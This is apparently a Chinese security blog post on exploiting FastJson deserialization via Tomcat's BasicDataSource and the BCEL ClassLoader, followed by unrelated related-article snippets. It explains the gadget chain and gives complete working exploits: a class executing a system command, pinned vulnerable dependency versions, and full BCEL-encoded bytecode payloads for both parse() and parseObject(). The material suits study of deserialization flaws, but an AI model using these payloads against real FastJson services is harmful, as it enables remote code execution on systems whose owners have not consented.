【Web】速谈FastJson反序列化中BasicDataSource的利用

目录

关于BCEL

BCEL的恶意利用demo

FastJson配合BCEL初始化任意类

parse情况下后天精心构造弥补先天之不足

exp


参考文章:

BCEL ClassLoader去哪了

Java动态类加载,当FastJson遇到内网

关于BCEL

BCEL(Byte Code Engineering Library)的全名是Apache Commons BCEL,属于Apache Commons项目下的一个子项目,BCEL库提供了一系列用于分析、创建、修改Java Class文件的API。相较Commons Collections,BCEL被包含在原生JDK中,更容易被利用。

BCEL Classloader在 JDK < 8u251之前是在rt.jar里面
在Tomcat中也会存在相关的依赖
tomcat7:org.apache.tomcat.dbcp.dbcp.BasicDataSource
tomcat8+:org.apache.tomcat.dbcp.dbcp2.BasicDataSource

com.sun.org.apache.bcel.internal.util.ClassLoader重写了Java内置的ClassLoader#loadClass()方法,会判断类名是否是$$BCEL$$开头,如果是的话,将会对这个字符串进行decode。可以理解为是传统字节码的HEX编码,再将反斜线替换成$。默认情况下外层还会加一层GZip压缩。

BCEL的恶意利用demo

  • Repository用于将一个Java Class先转换成原生字节码(也可以用javac命令)

  • Utility用于将原生的字节码转换成BCEL格式的字节码

package com.FJ;

import java.io.IOException;

public class calc {

    public calc() throws IOException {
        Runtime.getRuntime().exec("calc");
    }
}
package com.FJ;

import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import com.sun.org.apache.bcel.internal.util.ClassLoader;

import java.io.IOException;

public class BcelTest {
    public static void main(String[] args) throws IOException, ClassNotFoundException, IllegalAccessException, InstantiationException {
        JavaClass cls = Repository.lookupClass(calc.class);
        String code = Utility.encode(cls.getBytes(),true);
        System.out.println("$$BCEL$$"+code);
        // 加载类并实例化
        new ClassLoader().loadClass("$$BCEL$$"+code).newInstance();
    }
}

FastJson配合BCEL初始化任意类

在之前的文章我们已经介绍过了TemplatesImpl,JdbcRowSetImpl链,当不出网也不开启Feature.SupportNonPublicField的时候,我们需要BasicDataSource这条链

调用链:getConnection()->createDataSource()->createConnectionFactory()->createDriver()

我们简单看下BasicDataSource#createDriver

 static Driver createDriver(BasicDataSource basicDataSource) throws SQLException {
        Driver driverToUse = basicDataSource.getDriver();
        String driverClassName = basicDataSource.getDriverClassName();
        ClassLoader driverClassLoader = basicDataSource.getDriverClassLoader();
        String url = basicDataSource.getUrl();
        if (driverToUse == null) {
            Class<?> driverFromCCL = null;
            String message;
            if (driverClassName != null) {
                try {
                    try {
                        if (driverClassLoader == null) {
                            driverFromCCL = Class.forName(driverClassName);
                        } else {
                            driverFromCCL = Class.forName(driverClassName, true, driverClassLoader);
                        }
                    } catch (ClassNotFoundException var8) {
                        driverFromCCL = Thread.currentThread().getContextClassLoader().loadClass(driverClassName);
                    }
                } catch (Exception var9) {
                    message = "Cannot load JDBC driver class '" + driverClassName + "'";
                    basicDataSource.log(message, var9);
                    throw new SQLException(message, var9);
                }
            }

            try {
                if (driverFromCCL == null) {
                    driverToUse = DriverManager.getDriver(url);
                } else {
                    driverToUse = (Driver)driverFromCCL.getConstructor().newInstance();
                    if (!driverToUse.acceptsURL(url)) {
                        throw new SQLException("No suitable driver", "08001");
                    }
                }
            } catch (Exception var10) {
                message = "Cannot create JDBC driver of class '" + (driverClassName != null ? driverClassName : "") + "' for connect URL '" + url + "'";
                basicDataSource.log(message, var10);
                throw new SQLException(message, var10);
            }
        }

        return driverToUse;
    }

Class.forname当将initial参数设置为true时,表示希望初始化该类。这意味着除了加载类之外,还会触发该类的初始化操作,包括执行静态初始化块和静态变量赋值等。

然后driverClassName和driverClassLoader都是我们可控的,这不为所欲为了,BCELClassLoader会直接从 classname 中提取 Class 的 字节码。那么我们就可以设置​​driverClassLoader​​​为com.sun.org.apache.bcel.internal.util.ClassLoader​​​,设置​​driverClassName​​为恶意的BCEL格式的字节码,配合BCEL初始化任意恶意对象。

但遗憾的是

FastJson中的 parse() 会识别并调用目标类的 setter 方法及某些特定条件的 getter 方法,而 parseObject() 由于多执行了 JSON.toJSON(obj),所以在处理过程中会调用反序列化目标类的所有 setter 和 getter 方法。

所谓特定条件条件便是返回值类型继承自Collection Map AtomicBoolean AtomicInteger AtomicLong的getter方法

当反序列化的方法为parse()时getConnection不满足fastjson对自动调用getter的要求(返回值类型继承自Collection或Map或AtomicBoolean或AtomicInteger)

但我们可以通过精心构造EXP来弥补先天之不足:

parse情况下后天精心构造弥补先天之不足

首先在​​{“@type”: “org.apache.tomcat.dbcp.dbcp2.BasicDataSource”……}​​​ 这一整段外面再套一层​​{}​​,这样的话会把这个整体当做一个JSONObject,会把这个当做key,值为xxx。在​​DefaultJSONParser.parseObject​​方法后面会调用key的toString方法

key为​​JSONObject​​对象,会调用该对象的toString方法。而且JSONObject是Map的子类,当调用​​toString​​的时候,会依次调用该类的getter方法获取值。然后会以字符串的形式输出出来。所以会调用到​​BasicDataSource#getConnection​​方法。

从而达成为所欲为的目的。

exp

pom依赖

<dependency>
            <groupId>org.apache.tomcat</groupId>
            <artifactId>tomcat-dbcp</artifactId>
            <version>8.5.45</version>
        </dependency>
        <dependency>
            <groupId>com.alibaba</groupId>
            <artifactId>fastjson</artifactId>
            <version>1.2.23</version>
        </dependency>

弹计算器的奇妙咒语(parse版)

package com.FJ;

import com.alibaba.fastjson.JSON;

public class FJ {
    public static void main(String[] args) {
        String payload =
                "{\n"
                        + "    {\n"
                        + "        \"aaa\": {\n"
                        + "                \"@type\": \"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\n"
                        + "                \"driverClassLoader\": {\n"
                        + "                    \"@type\": \"com.sun.org.apache.bcel.internal.util.ClassLoader\"\n"
                        + "                },\n"
                        + "                \"driverClassName\": \"$$BCEL$$$l$8b$I$A$A$A$A$A$A$AuQ$cbn$daP$Q$3d$X$M6$8e$J$8f$U$f2h$9e$7d$C$L$yu$L$ea$a6J7u$93$wD$e9$fa$fa$e6$8a$5e062$97$88$3f$ea$9a$N$ad$ba$e8$H$f4$a3$aa$ccu$9eRZK$9e$f1$9c$99s$e6$8c$fc$e7$ef$af$df$A$de$e1$8d$L$H$9b$$$b6$b0$ed$60$c7$e4$e76v$5d$U$b0gc$df$c6$BC$b1$afb$a5$df3$e4$5b$ed$L$G$ebCr$v$Z$w$81$8a$e5$c9$7c$S$ca$f4$9c$87$R$n$f5$m$R$3c$ba$e0$a92$f5$zh$e9oj$c6$b0$j$88d$e2_$f2t$y$d30Y$f8$a1$90$91$7f$7c$a5$a2$k$83$d3$X$d1$ed$GF$8cF0$e2W$dc$8fx$3c$f4$8f$XBN$b5Jb$g$x$P4$X$e3$cf$7c$9a$v$93I$Gw$90$ccS$n$3f$w$b3$a9d$e4$ba$86$eb$a1$E$d7$c6$a1$87$p$bc$m$7dr$r$bar$n$3d$bc$c4$x$86$8d$7f$e8$7bx$N$97a$f3$3f$$$Z$aa$P$a4$d3p$q$85f$a8$3d$40g$f3X$ab$J$99p$87R$df$X$8dV$3bx2C$97X$e4E0$bcm$3d$ea$Ot$aa$e2a$ef1$e1K$9a$I9$9b$R$a12$a5$a6$ce$ee$3fO$b9$90t$97M$bf$cd$3c90s$z$c55$aa$7c$ca$8cr$a1$f3$Dl$99$b5$3d$8a$c5$M$cc$a3L$d1$bb$Z$c0$3a$w$94$jT$ef$c9$3c$T$D$ea$3f$91$ab$e7W$b0$be$7e$87$f3$a9$b3Bq$99$e1$r$e2$WH$c5$u6$e9$cb$e8$962$d4$se$H5R$ba$dbP$86Eu$9d$aa$Nzm$e4$C$h$cf$yj42S$cdk$dfl$i$C$80$C$A$A\"\n"
                        + "        }\n"
                        + "    }:\"xxx\"\n"
                        + "}";
        JSON.parse(payload);
    }
}

 

但parseObject() 由于多执行了 JSON.toJSON(obj),所以在处理过程中会调用反序列化目标类的所有 setter 和 getter 方法,就不需要这么麻烦。

直接用最原始而朴素的exp来打

package com.FJ;

import com.alibaba.fastjson.JSON;
import org.apache.tomcat.dbcp.dbcp2.BasicDataSource;

public class FJ {
    public static void main(String[] args) {
        String payload =
                "{\n" +
                        "    \"@type\": \"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\n" +
                        "    \"driverClassLoader\": {\n" +
                        "        \"@type\": \"com.sun.org.apache.bcel.internal.util.ClassLoader\"\n" +
                        "    },\n" +
                        "    \"driverClassName\": \"$$BCEL$$$l$8b$I$A$A$A$A$A$A$AuQ$cbn$daP$Q$3d$X$M6$8e$J$8f$U$f2h$9e$7d$C$L$yu$L$ea$a6J7u$93$wD$e9$fa$fa$e6$8a$5e062$97$88$3f$ea$9a$N$ad$ba$e8$H$f4$a3$aa$ccu$9eRZK$9e$f1$9c$99s$e6$8c$fc$e7$ef$af$df$A$de$e1$8d$L$H$9b$$$b6$b0$ed$60$c7$e4$e76v$5d$U$b0gc$df$c6$BC$b1$afb$a5$df3$e4$5b$ed$L$G$ebCr$v$Z$w$81$8a$e5$c9$7c$S$ca$f4$9c$87$R$n$f5$m$R$3c$ba$e0$a92$f5$zh$e9oj$c6$b0$j$88d$e2_$f2t$y$d30Y$f8$a1$90$91$7f$7c$a5$a2$k$83$d3$X$d1$ed$GF$8cF0$e2W$dc$8fx$3c$f4$8f$XBN$b5Jb$g$x$P4$X$e3$cf$7c$9a$v$93I$Gw$90$ccS$n$3f$w$b3$a9d$e4$ba$86$eb$a1$E$d7$c6$a1$87$p$bc$m$7dr$r$bar$n$3d$bc$c4$x$86$8d$7f$e8$7bx$N$97a$f3$3f$$$Z$aa$P$a4$d3p$q$85f$a8$3d$40g$f3X$ab$J$99p$87R$df$X$8dV$3bx2C$97X$e4E0$bcm$3d$ea$Ot$aa$e2a$ef1$e1K$9a$I9$9b$R$a12$a5$a6$ce$ee$3fO$b9$90t$97M$bf$cd$3c90s$z$c55$aa$7c$ca$8cr$a1$f3$Dl$99$b5$3d$8a$c5$M$cc$a3L$d1$bb$Z$c0$3a$w$94$jT$ef$c9$3c$T$D$ea$3f$91$ab$e7W$b0$be$7e$87$f3$a9$b3Bq$99$e1$r$e2$WH$c5$u6$e9$cb$e8$962$d4$se$H5R$ba$dbP$86Eu$9d$aa$Nzm$e4$C$h$cf$yj42S$cdk$dfl$i$C$80$C$A$A\"\n" +
                        "}\n";
        JSON.parseObject(payload);
        BasicDataSource basicDataSource = new BasicDataSource();
    }
}

http://www.niftyadmin.cn/n/5405553.html

相关文章

LeetCode206题:反转链表(python3)

采用递归 class Solution:def reverseList(self, head: Optional[ListNode]) -> Optional[ListNode]:cur headpre Nonewhile cur:temp cur.next # 保存下一轮循环的节点cur.next pre # 将当前节点 cur 的指针指向上一个节点 prepre curcur tempreturn pre

Spring的简单使用及内部实现原理

在现代的Java应用程序开发中&#xff0c;Spring Framework已经成为了不可或缺的工具之一。它提供了一种轻量级的、基于Java的解决方案&#xff0c;用于构建企业级应用程序和服务。本文将介绍Spring的简单使用方法&#xff0c;并深入探讨其内部实现原理。 首先&#xff0c;让我们…

Deeplearning4j【基础 01】初识Java深度学习框架DL4J

初识Java深度学习框架DL4J 1.起因2.简介3.组件3.1 Deeplearning4j/ScalNet3.1.1 Deeplearning4jf&#xff08;Java&#xff09;3.1.2 ScalNet&#xff08;Scala&#xff09; 3.2 ND4J/LibND4J3.3 SameDiff3.4 DataVec3.5 Arbiter3.6 RL4J 4.总结 内容来自网络&#xff0c;基于官…

蓝桥OJ 2942数字王国之军训排队 DFS剪枝

蓝桥OJ 2942数字王国之军训排队 #include<bits/stdc.h> using namespace std;const int N 15;//最多10队 int a[N], n; vector<int>v[N];//二维数组 v[i]记录队伍i中所有人的编号bool dfs(int cnt, int dep) {if (dep n1){//判断合法性for (int i 1; i < n; …

探讨倒排索引Elasticsearch面试与实战:从理论到实践

在当前大数据时代&#xff0c;Elasticsearch&#xff08;以下简称为ES&#xff09;作为一种强大的搜索和分析引擎&#xff0c;受到了越来越多企业的青睐。因此&#xff0c;对于工程师来说&#xff0c;掌握ES的面试准备和实战经验成为了必备技能之一。本文将从ES的面试准备和实际…

模拟器抓HTTP/S的包时如何绕过单向证书校验(XP框架)

模拟器抓HTTP/S的包时如何绕过单向证书校验&#xff08;XP框架&#xff09; 逍遥模拟器无法激活XP框架来绕过单向的证书校验&#xff0c;如下图&#xff1a; ​​ 解决办法&#xff1a; 安装JustMePlush.apk安装Just Trust Me.apk安装RE管理器.apk安装Xposedinstaller_逍遥64位…

【小白学机器学习5】MSE, RMSE,MAE, MAPE, WMAPE

目录 1 评价误差的各种度量指标 2 从误差的评价开始捋这个问题 2.1 误差问题的由来&#xff1a;回归模型预测值和真实值的差距 2.2 如何评价某函数的预测值是否足够好&#xff1f; 如何比较不同的预测函数的预测值的好坏呢&#xff1f; 2.3 最小二乘法&#xff1a;应该叫最…

回归预测 | Matlab实现RIME-BP霜冰算法优化BP神经网络多变量回归预测

回归预测 | Matlab实现RIME-BP霜冰算法优化BP神经网络多变量回归预测 目录 回归预测 | Matlab实现RIME-BP霜冰算法优化BP神经网络多变量回归预测预测效果基本描述程序设计参考资料 预测效果 基本描述 1.Matlab实现RIME-BP霜冰算法优化BP神经网络多变量回归预测&#xff08;完整…